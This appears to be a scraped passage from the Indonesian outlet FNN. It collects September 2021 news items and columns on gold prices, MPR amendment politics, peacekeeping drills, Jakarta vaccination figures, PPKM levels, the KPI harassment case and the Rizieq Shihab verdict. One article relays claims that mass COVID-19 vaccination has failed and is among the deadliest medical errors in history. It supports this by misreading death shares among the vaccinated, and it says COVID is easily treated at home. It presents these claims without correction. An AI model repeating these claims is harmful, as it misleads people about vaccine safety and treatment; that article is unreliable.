mengurangi pembelian asetnya. Beberapa investor memandang emas sebagai lindung nilai terhadap inflasi yang mungkin mengikuti langkah-langkah stimulus. Sedangkan suku bunga yang lebih rendah mengurangi peluang kerugian memegang emas yang tidak memberikan imbal hasil. Akan tetapi, emas tertinggal di awal pekan ini dengan harga diperdagangkan mendekati level support langsung di 1.825 dolar AS per ounce. Hal itu tertuang dalam sebuah catatan analis teknis ActivTrades, Pierre Veyret. ​​​​​​​"Konsolidasi juga dapat dilihat sebagai peluang untuk mengambil beberapa keuntungan setelah lonjakan bullish pada Jumat," kata Veyret. (MD).

Offside Bambang Soesatyo

By M Rizal Fadillah BAMBANG Soesatyo Ketua MPR yang berpidato pengantar acara Sidang MPR 16 Agustus 2021 membuat hentakan dengan menyatakan MPR akan mengagendakan amandemen terbatas Pokok Pokok Haluan Negara (PPHN). Soal PPHN awalnya dikira sudah menjadi kesepakatan seluruh anggota MPR. Faktanya tidak. Antar Partai Politik ternyata masih pro dan kontra. Bambang offside karena terburu-buru menyampaikan agenda PPHN. Ia menyebut amandemen terbatas ini untuk menghindari amandemen meluas yang dikhawatirkan menjadi kotak Pandora. Bambang terlalu yakin PPHN aman, padahal kotak Pandora itu bisa jadi adalah PPHN itu sendiri. Gejalanya sudah ada. Rakyat tidak mudah diyakinkan untuk menerima pembahasan agenda yang kontroversial ini. Sekretaris Jenderal PDIP Hasto Kristiyanto mengingatkan bahwa PPHN adalah gagasan PDIP yang merupakan salah satu putusan Kongres V PDIP di Bali tahun 2019. Tentu PDIP sangat berkepentingan untuk suksesnya PPHN ini. Hanya anehnya setelah Bambang Soesatyo serius melempar di arena Sidang MPR, justru PDIP mengendorkan perjuangannya dengan alasan pandemi. PDIP menyatakan "slowing down" soal amandemen. Hasto menegaskan amanat Ketua Umum PDIP "Ibu Ketua Umum Ibu Megawati Soekarnoputri terkait dengan amandemen sudah menegaskan bahwa kebijakan PDIP adalah slowing down terkait amandemen UUD 1945. Karena dalam upaya membantu rakyat mengatasi pandemi diperlukan suasana kehidupan politik kondusif". Hasto memahami bahwa pembahasan PPHN dapat menjadi hangat bahkan panas. Badan Kajian MPR sendiri meragukan dapat menyelesaikan draft PPHN pada awal tahun 2022 sebagaimana ditargetkan Bambang. Anggota Badan Kajian yang juga anggota DPR fraksi Golkar Zulfikar Arse menyinggung keberadaan UU No 17 tahun 2007 tentang RPJPJN 2005-2025 yang dinilai memadai. Bawono Kumoro dari "The Habibie Center" menyatakan gagasan PPHN merupakan sesat pikir di kalangan elit "gagasan tersebut berpotensi membawa kemunduran reformasi". Masih kuatnya tarik ulur agenda PPHN di internal MPR sendiri maupun di kalangan publik menunjukkan bahwa PPHN adalah gagasan mentah. Karenanya lemparan Bambang Soesatyo jelas-jelas giringan bola offside. Adakah PDIP sang penggagas merasa disalip oleh Golkar sehingga kemudian "slowing down? Atau bola PPHN memang ditendang oleh PDIP kemudian sengaja dioper ke Bambang Golkar agar offside? MPR setelah tidak menjadi lembaga tertinggi bagai lembaga yang kehilangan pekerjaan. Bambang menemukan pekerjaan berupa mainan PPHN dan lucunya pro kontra bisa dianggap prestasi. Orde Baru Golkar bisa dihidupkan, sementara PDIP Orde Lama ikut digaungkan. PPHN menjadi sarana kolaborasi Orla dan Orba untuk membunuh reformasi. Tahun 2020 Bambang Soesatyo menggagas pembentukan Mahkamah Kehormatan Majelis (MKM) untuk mengadili anggota yang melanggar etik. Bambang ingin lembaganya menjadi tauladan bagi pelaksanaan Tap MPR No VI tahun 2001 tentang Etika Kehidupan Berbangsa. Andai saja MKM kini telah terbentuk, maka Bambang Soesatyo semestinya duduk di kursi pesakitan karena offside. Mengingat Bambang adalah Ketua MPR maka sanksinya tentu harus keras, Out ! Kotak Pandora telah terbuka dan Bambang Soesatyo adalah pembukanya. *) Pemerhati Politik dan Kebangsaan

Pasukan Perdamaian PBB Gelar Latihan Militer di China

Beijing, FNN - Pasukan penjaga perdamaian dari empat negara menggelar latihan militer bersama di Provinsi Henan, China, mulai Senin, 6 September 2021. Tidak dijelaskan berapa jumlah pasukan yang dilibatkan dalam latihan tersebut. Pasukan penjaga perdamaian PBB dari China, Mongolia, Pakistan, dan Thailand, mengikuti upacara pembukaan latihan di pusat pelatihan taktis milik Angkatan Darat Tentara Pembebasan Rakyat China (PLA) di Queshan, Henan. "Pasukan gabungan tersebut selanjutnya pindah ke beberapa tempat latihan," kata markas komando PLA, sebagaimana dikutip dari Antara. Latihan pasukan penjaga perdamaian PBB yang berlangsung selama 10 hari itu merupakan yang pertama kalinya digelar militer China. Latihan difokuskan pada operasi bersama oleh pasukan perdamaian multinasional. Latihan tersebut merupakan respons terhadap inisiatif pasukan penjaga perdamaian PBB guna mendorong kerjasama praktis di antara negara-negara yang terlibat dalam memelihara perdamaian dan meningkatkan keterampilan para personel. Komandan dari empat negara itu telah membentuk komando bersama dan akan mengikuti prosedur penjaga perdamaian global. Pasukan tersebut akan ditempa berbagai materi pelatihan, di antaranya pengintaian lapangan, patroli, pengawalan bersenjata, perlindungan warga sipil, penyerangan teroris, pembangunan infrastruktur sementara, bantuan medis, dan penanganan wabah penyakit menular. Menurut markas besar China, latihan tersebut melibatkan pasukan infanteri, regu penerbangan, insinyur, dan personel transportasi dan medis dengan mengerahkan kendaraan serbu lapis baja, helikopter, dan pesawat nirawak. PLA akan menyediakan semua perangkat keras dalam latihan tersebut, sebagaimana dilaporkan media setempat. Selama tiga dekade terakhir, militer China telah mengirim lebih dari 40.000 personel penjaga perdamaian dalam 25 misi di seluruh dunia. Hal itu menjadikan China penyumbang pasukan terbesar di antara anggota tetap Dewan Keamanan. (MD).

Hampir 70 Persen Warga Jakarta Telah Divaksin Dua Dosis

Jakarta, FNN - Dinas Kesehatan Provinsi DKI Jakarta mencatat hampir 70 persen atau 6,22 juta warga Ibu Kota telah mendapatkan vaksinasi lengkap dua dosis. "Untuk bisa mencapai level antibodi terbentuk, harus lengkap dosis dua," kata Kepala Bidang Pencegahan dan Pengendalian Penyakit Dinas Kesehatan DKI Jakarta, Dwi Oktavia, di Jakarta, Senin, 6 September 2021. Sedangkan vaksinasi dosis pertama warga di DKI sudah mendekati 10 juta orang atau tepatnya 9,9 juta orang dengan capaian 110 persen dari target 8,94 juta. Diperkirakan sekitar 40 persen dari 9,9 juta warga yang sudah divaksin dosis pertama itu bukan warga dengan KTP DKI Jakarta. Pemerintah Provinsi (Pemprov) DKI sebelumnya menambah sasaran vaksinasi menjadi sekitar 11 juta orang, menyasar warga ber-KTP DKI Jakarta yang belum divaksin. Dwi menambahkan, dalam sepekan terakhir ada 86.391 orang dites usap berbasis "Polymerase Chain Reaction" (PCR). ​​​​Dari jumlah itu, persentase kasus positif selama sepekan terakhir terus turun. Sekarang mencapai 3,2 persen atau sudah lebih rendah dari target Badan Kesehatan Dunia (WHO) sebesar lima persen. Dikutif dari Antara, sesuai target WHO, per minggu Jakarta sudah melampaui minimal target tes PCR sebesar 10.645 tes. Sedangkan jumlah kasus aktif di Jakarta turun 524 kasus sehingga jumlah kasus aktif sampai Senin (6/9) sebanyak 5.061 (orang yang masih dirawat/isolasi). Sedangkan jumlah kasus konfirmasi secara total di Jakarta sejak awal pandemi hingga saat ini sebanyak 852.909 kasus dengan penambahan 217 kasus positif. (MD).

Mahasiswa IPB Produksi Tas Jinjing Dari Ampas Tebu

Bogor, FNN - Tim mahasiswa IPB University berhasil membuat inovasi dan memproduksi tas jinjing dari ampas tebu. Tas tersebut dijual seharga Rp 10.000 per buah serta melayani pemesanan melalui media sosial. "Tas jinjing ramah lingkungan, sekaligus bisa menambah nilai ekonomis ampas tebu," kata Ketua Tim Mahasiswa IPB Depicha Zambustya Zamborita, sebagaimana keterangan tertulis Humas IPB University di Bogor, Jawa Barat, Senin, 6 September 2021. Mereka memasarkan produksinya melalui media sosial instagram dengan akun bag.gase. Hal itu merupakan kegiatan Program Kreativitas Mahasiswa bidang Kewirausahaan (PKM-K) 2021 di kampusnya. Tim mahasiswa IPB yang membuat tas jinjing dari ampas tebu ini adalah Depicha Zambustya Zamborita, Siti Ira Sinta Wati, Habib Vian Niswara, dan Garnish Eka Prastyaningrum. Tim tersebut dibimbing oleh dosen pendamping, Burhanuddin. Menurut Depicha, tas jinjing dari ampas tebu tersebut adalah inovasi mahasiswa. Dibuat sebagai tas ramah lingkungan dan diharapkan dapat menggantikan penggunaan tas palstik kresek yang saat ini banyak digunakan masyarakat. Pembuatan tas jinjing dari ampas tebu dengan pertimbangan, karena ampas tebu adalah limbah padat dari pengolahan industri gula tebu. Pemanfaatan tebu, kata dia, juga masih terbatas pada industri pengolahan gula yang hanya mengambil airnya. Sedangkan ampasnya sekitar 35-40 persen dari berat tebu yang telah digiling, hanya dimanfaatkan sebagai bahan bakar industri atau dibuang menjadi limbah. “Pabrik gula tidak dapat mengelola limbah yang dihasilkan, karena hanya beberapa bagian yang dapat diolah menjadi bahan bakar. Sehingga, ampas tebu belum terkelola dengan baik dan belum memiliki nilai ekonomi yang baik,” katanya, sebagaimana dikutip dari Antara. Mencermati hal tersebut, Depicha dan tim, membuat tas jinjing dari ampas tebu guna menambah nilai ekonomi. "Dengan menyosialisasikan pemanfaatan produk dari bahan ramah lingkungan dapat membantu pemerintah mengurangi pemanfaatan produk plastik yang limbahnya sulit diurai," katanya. Depicha yang masih kuliah di semester lima Departemen Sains Komunikasi dan Pengembangan Masyarakat Fakultas Ekologi Manusia (SKPM FEMA) IPB ini menyatakan, tas dari ampas tebu tersebut dirancang sesuai dengan budaya nusantara dan tradisi daerah, sehingga menambah keindahan produk tas jinjing. "Dengan desain yang menarik ini, meskipun tas jinjing telah rusak, dapat dimanfaatkan sebagai barang seni rupa, yakni dikliping, kemudian dibingkai sehingga dapat menjadi hiasan dinding,” katanya. Dalam pemasarannya, Depicha dan tim menggunakan promosi melalui media sosial instagram dan WhatsApp masing-masing anggota tim. Depicha mengatakan, atas produksi itu, konsumen memberikan respons positif. Konsumen menyadari bahwa ampas tebu, limbah pabrik gula, ternyata dapat dijadikan tas dengan desain unik. Dosen pendamping, Burhanuddin mengatakan, tas jinjing itu lahir dari kreativitas mahasiswa untuk memanfaatkan limbah ampas tebu dan mengurangi penggunaan plastik yang berdampak negatif pada lingkungan. (MD).

Luhut: 11 Kabupaten/Kota di Jawa-Bali Masih Terapkan PPKM Level 4

Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi sekaligus Koordinator PPKM Jawa-Bali menyebut hingga 5 September 2021, tercatat tinggal 11 kabupaten/kota yang masih menerapkan PPKM level 4. Menurut dia, kondisi tersebut mengalami perbaikan yang cukup berarti lantaran sebelumnya ada 25 kabupaten/kota di Jawa-Bali yang masih menerapkan PPKM level 4. "Situasi perkembangan COVID-19 di Jawa Bali terus mengalami perbaikan yang berarti. Hal ini ditandai dengan semakin sedikitnya kota-kabupaten yang berada di level 4, di mana per tanggal 5 September 2021, hanya 11 kota/kabupaten di Jawa-Bali yang ada di level 4 dari sebelumnya yang berjumlah 25 kota/kabupaten," katanya dalam konferensi pers daring yang dipantau dari Jakarta, Senin. Luhut menyebut peningkatan yang signifikan terjadi pada level 2 di mana jumlah kota/kabupaten meningkat dari yang sebelumnya 27 menjadi 43 kota/kabupaten. Sementara itu, dari wilayah aglomerasi, DI Yogyakarta berhasil turun ke level 3, sementara Bali diperkirakan masih membutuhkan waktu seminggu lagi untuk turun ke level 3 dari level 4 akibat perawatan pasien di rumah sakit yang masih tinggi. "Saya sudah komunikasikan juga kepada Gubernur Bali tadi malam untuk kita ramai-ramai mengatasi masalah ini," katanya. Secara keseluruhan, indikator transmisi penyakit yang terdiri dari penambahan kasus konfirmasi, jumlah perawatan pasien yang ada di RS, dan jumlah kematian, terus mengalami perbaikan. "Semua ini tentunya adalah sesuatu yang patut kita syukuri yang merupakan buah dari kerja keras kita semua," ujarnya. Kendati demikian, Wakil Ketua Ketua Komite Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (KPC PEN) itu mengingatkan capaian saat ini bukanlah bentuk euforia yang harus dirayakan. "Kelengahan sekecil apapun yang kita lakukan ujungnya akan terjadi peningkatan kasus dalam beberapa minggu ke depan. Ini adalah sesuatu yang harus kita hindari," tuturnya seraya mencontohkan kasus yang terjadi beberapa hari yang lalu di sebuah restoran/kafe di wilayah Jakarta yang tidak patuh terhadap protokol kesehatan hingga harus ditutup selama 3 hari. Luhut juga menilai masih banyak restoran/cafe yang belum menerapkan penggunaan aplikasi PeduliLindungi. "Padahal ini semua adalah untuk keamanan kita bersama," katanya. (mth)

Pelaku Perundungan Laporkan Balik Korban MS Karena Sebar Identitas

Jakarta, FNN - Terlapor atau terduga pelaku perundungan dan pelecehan seksual yang merupakan karyawan KPI berencana melaporkan balik korban MS akibat identitas pribadi mereka disebar melalui rilis atau pesan berantai di aplikasi perpesanan. Kuasa Hukum terlapor RT dan EO, Tegar Putuhena, mengatakan rilis pers tersebut berisi identitas pribadi para terlapor atau nama jelas yang mengakibatkan "cyber bullying" baik terhadap terlapor maupun keluarga mereka. "Yang terjadi 'cyber bullying' baik kepada klien kami, maupun keluarga dan anak. Itu sudah keterlaluan menurut kami. Kami berpikir dan akan menimbang secara serius untuk melakukan pelaporan balik terhadap si pelapor," kata Tegar saat ditemui di Polres Metro Jakarta Pusat, Senin. Tegar menjelaskan bahwa ketiga terlapor lainnya, melalui kuasa hukum masing-masing, telah mempertimbangkan pelaporan tersebut dan mempelajari unsur-unsur pidananya. Ia menilai bahwa rilis yang disebar di sejumlah grup media pada Rabu (1/9) itu telah membuka identitas pribadi yang membuat pelapor dapat dipidanakan karena melanggar Undang-Undang Informasi dan Transaksi Elektronik (UU ITE) "Semua unsur-unsur pidana akan kami pelajari, misalnya pertama membuka identitas pribadi secara tanpa hak, itu sudah melanggar UU ITE. Kemudian dari situ disebarluaskan, terjadi 'cyber bullying' terhadap keluarga, foto keluarga disebarkan itu juga akan kita pertimbangkan," kata Tegar. Tindakan laporan balik terhadap korban MS ini akan diajukan oleh para terlapor, baik ke pihak Kepolisian, Komnas HAM atau lembaga lainnya. Ada pun Polres Metro Jakarta Pusat pada Senin mengagendakan pemanggilan terhadap lima terlapor yang diduga sebagai pelaku perundungan dan pelecehan seksual oleh korban berinisial MS, yang juga rekan kerja di Komisi Penyiaran Indonesia (KPI). Kelima terlapor berinisial RM alias O, FP, RE alias RT, EO dan CL diketahui menjalani pemeriksaan di ruang unit Pelayanan Perempuan dan Anak (PPA) Polres Metro Jakarta Pusat, Kemayoran, sejak pukul 11.00 WIB. Setidaknya ada 20 pertanyaan yang diajukan penyidik kepada para terlapor untuk mendalami kasus dugaan perundungan dan pelecehan seksual di KPI pada 2015 silam. (mth)

PTTEP Indonesia Bantu Penanganan Sampah di Kawasan Danau Toba

Medan, FNN - PTT Exploration and Production Public (PTTEP) Indonesia, perusahaan sektor minyak dan gas milik milik Pemerintah Thailand, membantu penanganan sampah di kawasan Danau Toba sebagai wujud dukungan untuk Kawasan Pariwisata Super Prioritas (KPSP) Danau Toba, Sumatera Utara. "Program CSR (Corporate Social Responsibility) penanganan sampah itu dilaksanakan di Kabupaten Toba dengan proyek percontohan di Kecamatan Balige,"ujar Public Affairs PTTEP Indonesia Irwan Mandelis di Toba, Senin. Menurut dia, program pengolahan sampah terpadu terdiri dari kegiatan "training of trainer" kepada 50 guru sekolah dasar di Kabupaten Toba. Kemudian pengolahan sampah melalui program "bank sampah", pengolahan sampah organik, pemberdayaan masyarakat dan teknologi incinerator untuk menyelesaikan sampah residu sehingga terwujud percontohan kawasan nol sampah ke tempat pembuangan akhir (TPA). "Proyek percontohan di Kecamatan Balige, Toba itu diharapkan dapat diduplikasikan di kecamatan-kecamatan lain di seluruh Kabupaten Toba,"ujarnya usai rapat evaluasi program pengolahan sampah terpadu di Kabupaten Toba. Rapat evaluasi program pengolahan sampah terpadu tersebut dihadiri banyak pihak termasuk dari Kementerian Koordinator Maritim dan Investasi, Rofi Alhanif, Kepala Dinas Lingkungan Hidup dan Kebersihan Mintar Manurung, dan Kepala Dinas Pariwisata Toba, John Pieter, dan Camat Balige, Pantun Josua Pardede. Irwan menegaskan, program tersebut untuk menciptakan pengelolaan sampah berbasis sirkular ekonomi sehingga dapat memberdayakan masyarakat. Direktur Bank Sampah Bersinar,Fei Febri, mengatakan, pihaknya akan terus mendampingi warga dalam menjalankan pengolahan sampah itu. Saat ini, katanya, telah dilakukan pendampingan terhadap Bank Sampah Induk IAS Toba dan telah mengedukasi lebih dari 100 titik. Hingga saat ini, ujar dia, telah terbentuk sekurang-kurangnya 58 Bank Sampah Unit di Kecamatan Balige, Tampahan dan Loguboti. Selain itu, sudah ada tempat pengolahan pupuk organik cair menggunakan mesin hydrothermal dan budidaya maggot. Sekretaris Daerah Kabupaten Toba, Audi Murphy Sitorus mengapresiasi program penanganan sampah PTTEP di kawasan Danau Toba. Dia meminta Kepala Dinas Lingkungan Hidup Toba mendukung penuh program penanganan sampah. (mth)

Terdapat Unsur Plagiarisme dalam Putusan Terhadap Habib Rizieq Shihab

Jakarta, FNN - Direktur HRS Center, Abdul Chair Ramadhan menyebut terdapat unsur plagiarisme dalam putusan Pengadilan Negeri Jakarta Timur atas kasus Rizieq Shihab dalam perkara tes usap RS Ummi Bogor. "Pada putusan perkara Habib Rizieq Shihab terdapat unsur plagiarisme dalam pertimbangan hukumnya," kata Abdul Chair, di Jakarta, Senin, 6 September 2021. Dia menjelaskan, unsur plagiarisme tersebut ada dalam merujuk pada uraian penjelasan ajaran atau doktrin "kesengajaan dengan kemungkinan" yang berasal dari internet. "Setidaknya dari dua sumber, yakni hukumonline dan skripsi mahasiswa fakultas hukum yang tidak ada menyebutkan sumber referensinya," kata Abdul Chair. Dia menyebut hakim-hakim yang memeriksa fakta persidangan tidak menggunakan keterangan ahli hukum pidana yang dihadirkan di persidangan yang menjelaskan perihal kesengajaan. "Padahal, keterangan ahli merupakan salah satu alat bukti yang sah sebagaimana dimaksudkan dalam Pasal 184 ayat 1 Undang-Undang Nomor 8 Tahun 1981 tentang Kitab Undang-Undang Hukum Pidana," ujar dia, sebagaimana dikutip dari Antara. Abdul Chair berharap agar pihak-pihak terkait, seperti Mahkamah Agung (MA), Komisi Yudisial (KY), dan Komisi III DPR RI supaya menindaklanjuti temuan plagiat dalam putusan pengadilan tersebut sesuai dengan kewenangannya. Selain itu, dengan adanya tindakan plagiat tersebut, dapat menjadi salah satu dalil bagi Majelis Hakim MA untuk membatalkan putusan pemidanaan Pengadilan Negeri Jakarta Timur terhadap para terdakwa Habib Rizieq Shihab, Andi Atat, dan Habib Hanif Al-Atas. "Plagiarisme dalam putusan pengadilan tersebut memberikan contoh yang tidak patut," ujar Abdul Chair. Sebelumnya, masa penahanan Rizieq Shihab diperpanjang selama satu bulan berdasarkan penetapan Pengadilan Tinggi DKI Jakarta Nomor 1831/Pen.Pid/2021/PT.DKI tanggal 5 Agustus 2021 tentang penahanan pada tingkat banding dalam perkara RS Ummi dengan Perkara Nomor 225/Pid.Sus/2021/PN.Jkt.Tim atas nama Habib Rizieq Shihab. Untuk perkara tes usap RS Ummi Bogor, Rizieq Shihab tetap divonis empat tahun penjara yang dijatuhkan oleh Majelis Hakim Pengadilan Negeri Jakarta Timur, setelah banding yang diajukan kuasa hukumnya ditolak oleh Pengadilan Tinggi DKI Jakarta pada akhir bulan Agustus lalu. (MD).

Memperpanjang Masa Jabatan Itu Besar Risikonya

Oleh Tony Rosyid *) ADA sejumlah pihak yang mengusulkan masa presiden menjabat itu diperpanjang. Usulan ini bukan hanya ditolak oleh presiden dan PDIP, tapi juga tidak tepat, cenderung mengada-ada dan publik menganggap tidak masuk akal. Pertama, pandemi sudah melandai, kehidupan telah berangsur normal. Untuk hal ini, kita perlu apresiasi kinerja pemerintah yang terus mengupayakan vaksinasi sebagai satu-satunya cara yang terbukti paling efektif dan ampuh untuk menghambat laju covid. Jangan dijadikan alasan untuk menambah durasi waktu menjabat. Kedua, di seluruh dunia, tidak ada negara yang menjadikan pandemi covid untuk memperpanjang masa jabatan pejabat tingginya, termasuk presiden/DPR/DPD. Bahkan sebagian negara mengkudeta pemimpinnya karena dianggap gagal menangani covid. Kalau ada pihak-pihak yang berupaya mengusulkan agar masa jabatan presiden/DPR/DPD diperpanjang karena covid, itu sama saja menganggap pemerintah gagal menangani covid. Ketiga, Kalau masa jabatan presiden/DPR/DPD diperpanjang, kenapa masa jabatan kepala daerah tidak diperpanjang? Kenapa harus Plt? Ini jadi pertanyaan publik. Sama-sama dipilih rakyat: yang satu di-Plt-kan, yang lain diperpanjang. Aneh! Bagaimana kalau kepala daerah, demi rasa keadilan, menuntut presiden/DPR/DPD juga di-Plt-kan. Kan gak lucu. Negara ini jadi negara Plt. Kalau pemilu diundur tahun 2027, semua kepala daerah akan diisi Plt. Tahun 2022 ada 101 Plt. Tahun 2023 ada 170 Plt. Kalau pemilu diundur lagi tahun 2027, semua kepala daerah itu Plt. Bisa bubrah negeri ini. Apalagi kalau presiden/DPR/DPD juga Plt. Bagaimana kalau pilkada diselenggarakan, tapi pilpres ditunda? Lalu, apa alasannya ditunda? Gak ada! Lagian, itu juga gak adil. Lalu pileg ikut ditunda? Kalau pileg gak ditunda, DPR gak akan setuju. Wong usul amandemen yang negonya untuk masa jabatan diperpanjang itu menguntungkan buat para anggota DPR. Bisa nambah tiga tahun gratis. Mosok yang usul gak dapat untung? Keempat, mengubah konstitusi bukan karena masalah yang betul-betul darurat, apalagi diduga bersifat politis untuk kepentingan-kepentingan elit politik, ini akan merusak etika bernegara dan mewariskan tradisi bernegara yang buruk. Ini juga akan berakibat negara kehilangan prinsip, wibawa, kepercayaan dan arah. Kelima, karena amandemen dan perpanjangan masa jabatan ini tidak diinginkan rakyat, maka potensi gejolak akan sangat besar. Kita sama-sama tahu, ada ketegangan sosial pasca pemilu 2019. Ketegangan ini belum reda. Seolah ada kesepakatan bersama, meski tak tertulis, bahwa ketegangan akan diakhiri di 2024 melalui pilpres. Setelah pilpres, diharapkan semua pihak bisa disatukan lagi dalam bingkai NKRI. Keberpihakan politik dicairkan kembali dengan adanya struktur pemerintahan yang baru. Jangan ada hal-hal yang bisa memicu terjadinya ledakan di masa ketegangan ini. Para elit mesti sadar dan matang menyikapi. Jangan hanya berpikir sempit dengan kepentingan-kepentingan yang sempit. Kepentingan bangsa dan juga persatuan harus didahulukan dan diutamakan. Jika semua menuruti egonya, keutuhan bangsa bisa terancam. Ini risiko terburuk yang bisa saja terjadi jika amandemen sebagai jalur untuk menambah masa jabatan itu dipaksakan untuk diadakan. Stop amandemen, stop perpanjangan masa jabatan, dan stop manuver-manuver politik yang berisiko bagi keutuhan bangsa. Butuh jiwa kenegarawanan untuk mengelola dan membawa Indonesia ke masa depan. *) Pengamat Politik dan Pemerhati Bangsa

Vaksinasi Covid-19 yang Gagal Menjadi Salah Satu Paling Mematikan dalam Sejarah

Texas, FNN - Ada yang menarik dari tulisan Daily Expose pada 26 Agustus 2021. Vaksinasi massal paksa terhadap umat manusia akan dianggap sebagai salah satu kesalahan medis paling mematikan dan mahal dalam sejarah. Begitu kata perintis terkenal terkait pengobatan awal dugaan penyakit Covid-19, yang juga ahli jantung dan penyakit dalam Texas Dr. Peter McCullough. Mengutip data terbaru dari Sistem Pelaporan Kejadian Buruk Vaksin AS (VAERS), dan dari Israel dan Inggris, yang kasus Covid berlipat ganda diantara yang divaksinasi, McCullough, pemimpin redaksi dua jurnal medis dan penulis lebih dari 600 rekan sejawat, meninjau studi, termasuk 46 yang didedikasikan untuk Covid-19, mengatakan dia “sangat khawatir” tentang masa depan Amerika. “Orang Amerika (AS_ akan menanggung beban dari apa yang selalu akan menjadi program vaksinasi massal yang gagal yang akan dianggap sebagai salah satu yang paling mematikan, salah satu yang paling merugikan dan mahal dalam sejarah manusia,” kata McCullough dalam podcast baru-baru ini. Pusat Pengendalian dan Pencegahan Penyakit (CDC) mengumumkan pada April, mereka telah berhenti melacak kasus Covid di antara yang divaksinasi yang tidak mengakibatkan rawat inap atau kematian. Badan itu sekarang mengasumsikan bahwa kasus-kasus baru termasuk di antara yang tidak divaksinasi kecuali jika disarankan lain, yang membuat angka-angka tidak menggambarkan yang tidak divaksinasi sebagai penyebar penyakit. “Skema misinformasi dan propaganda yang disengaja ini telah digunakan untuk mendorong kemarahan luar biasa dari mandat vaksin untuk lembaga pemerintah, administrasi veteran, dan ratusan sekolah dan perguruan tinggi, meskipun di sini tidak ada wabah di tempat-tempat ini,” kata McCullough. Israel adalah negara pertama yang memvaksinasi massal penduduknya berdasarkan perjanjian dengan pihak Pfizer untuk menukar pasokan vaksin dengan data kesehatan masyarakat dalam percobaan pada orang-orang “untuk mengevaluasi apakah perlindungan kekebalan kelompok diamati selama peluncuran program vaksinasi Produk.” Delapan puluh persen orang dewasa divaksinasi lengkap di sana, namun kasus Covid-19 dan rawat inap yang serius telah meningkat 20 kali lipat sejak awal Juli. Media telah menyoroti bahwa kasus baru yang paling serius terjadi di antara yang tidak divaksinasi. Sementara mengabaikan untuk melaporkan bahwa mayoritas (lebih dari 80 persen) kasus baru yang dilaporkan oleh Kementerian Kesehatan Israel adalah di antara individu yang divaksinasi. Sebagai tanggapan, Israel memperkenalkan “tembakan penguat” ketiga dari injeksi mRNA Pfizer yang telah diberikan kepada lebih dari satu juta orang pada 16 Agustus 2021. Di Inggris, lebih dari tiga perempat populasi orang dewasa (76 persen) telah menerima dua dosis suntikan Covid-19 dan hampir 90 persen orang dewasa telah menerima setidaknya satu dosis. Namun, jumlah pasien Covid-19 yang dirawat di rumah sakit melonjak tujuh kali lipat sejak awal Juni tahun ini. Laporan Inggris terbaru tentang “varian yang menjadi perhatian” yang diterbitkan oleh Public Health England mengungkapkan bahwa 58% kematian Covid-19 termasuk di antara yang divaksinasi lengkap, dengan jumlah itu meningkat menjadi 67% ketika termasuk mereka yang telah menerima dosis tunggal Covid-19 injeksi. Data itu, kata McCullough, pada dasarnya menunjukkan bahwa vaksin gagal. Individu yang divaksinasi dapat memperoleh dan menularkan pandemi coronavirus dan menjadi dan mati karena Covid-19. “Individu yang divaksinasi lengkap menyebarkannya satu sama lain,” kata McCullough. Meski demikian, mengutip varian Delta baru yang beredar, pemerintahan Presiden Joe Biden diharapkan mengikuti contoh Israel dan memperkenalkan suntikan pendorong ketiga untuk semua penghuni panti jompo dan petugas kesehatan mulai September 2021. Vaksin tidak pernah diuji untuk varian Delta, dan perlindungannya hanya bertahan beberapa bulan. “Jelas kita tidak bisa memvaksinasi jalan keluar dari ini,” kata McCullough. Covid-19, apa pun variannya, mudah diobati di rumah dengan obat-obatan sederhana yang tersedia, menurut McCullough, yang telah menyatakan bahwa “sekitar 88 persen rawat inap dan kematian dapat dihindari” dengan perawatan dini. Sejak dia keluar secara terbuka menasihati pengobatan dini atas dugaan pasien Covid-19 di mana protokol pemerintah adalah mengirim mereka pulang dan menunggu sakit, McCullough mendapati dirinya menjadi sasaran lembaga kesehatan masyarakat dan akademisi. Lulusan Baylor University yang bekerja sebagai Wakil Ketua Penyakit Dalam di Baylor University Medical Center dari Januari 2014 hingga Februari 2021 tersebut, baru-baru ini berbicara pada Komite Kesehatan dan Layanan Kemanusiaan Senat Texas tentang protokol pengobatan awal Covid-19. Kontraknya kemudian dibatalkan, dan dia baru-baru ini digugat oleh sistem kesehatan Baylor Scott & White yang berbasis di Texas setelah afiliasinya dengan sistem itu diketahui selama wawancara publik. Gugatan tersebut bertepatan dengan keputusan BSWH yang mengamanatkan vaksinasi untuk 40.000 karyawannya. “Saya sangat khawatir tentang masa depan Amerika dan juga sangat takut kehilangan kebebasan berbicara dan wacana ilmiah,” kata McCullough. “Ada ancaman besar di luar sana bagi para dokter yang benar-benar melakukan yang terbaik – untuk membantu pasien dan menyelamatkan nyawa,” lanjutnya. Dia mengutip pernyataan 29 Juli dari Federasi Dewan Medis Negara yang mengancam dokter yang menyebarkan “informasi yang salah” medis mengenai vaksin akan kehilangan lisensi medis mereka. Federasi mendefinisikan informasi ilmiah sebagai “didorong oleh konsensus untuk perbaikan kesehatan masyarakat”. McCullough secara terbuka mengkritik sifat “totaliter” dari mandat vaksin itu dan menunjuk pada data kejadian buruk vaksin pemerintah yang mencatat, bahwa “sudah 11.221 dinyatakan dinonaktifkan karena vaksin”. Jumlah itu telah berkembang menjadi 16.044 pada 26 Agustus 2021. “Upaya untuk penyelamatan ini merupakan tindakan berlebihan atau di luar batas. Vaksin ini tidak seluruhnya aman. Seolah setiap orang yang mengambil jarum sedang memikirkan papan skor atau angka penambahan kasus ikutan paska vaksin,” ujar McCullough. Sebaliknya, dia juga berkata, “Orang Amerika seperti terbang buta. Tanpa navigasi yang jelas, akan ke arah mana pesawat dibawa. Karena mereka tidak tahu vaksin mana yang paling aman. Semua serba belum pasti.” “Orang Amerika tidak diberi informasi tentang ini. Pada dasarnya tidak mungkin bagi mereka untuk mengikuti arah aturan keputusan vaksin ini. Mereka hanya mengatakan: 'Ambil vaksinnya, dan tidak masalah yang mana'. Mereka hanya mengatakan: 'Ambil vaksinnya dan tidak masalah yang mana'. Pemilihan jenis vaksin seperti tanpa arah. Seolah tanpa masalah. Padahal jelas, efek samping, efikasi, dan efektivitas , sangat penting untuk menjadi perhatian “Semua ini tidak masuk akal dalam hal program tentang Covid-19; sepertinya ini tentang kepatuhan, atau paksaan, atau kontrol. Warga pada dasarnya dipaksa melakukan vaksinasi massal,” ujar McCullough. (mth)

Semakin Terpojok, Ahmad Massoud Siap Bernegosiasi Dengan Taliban

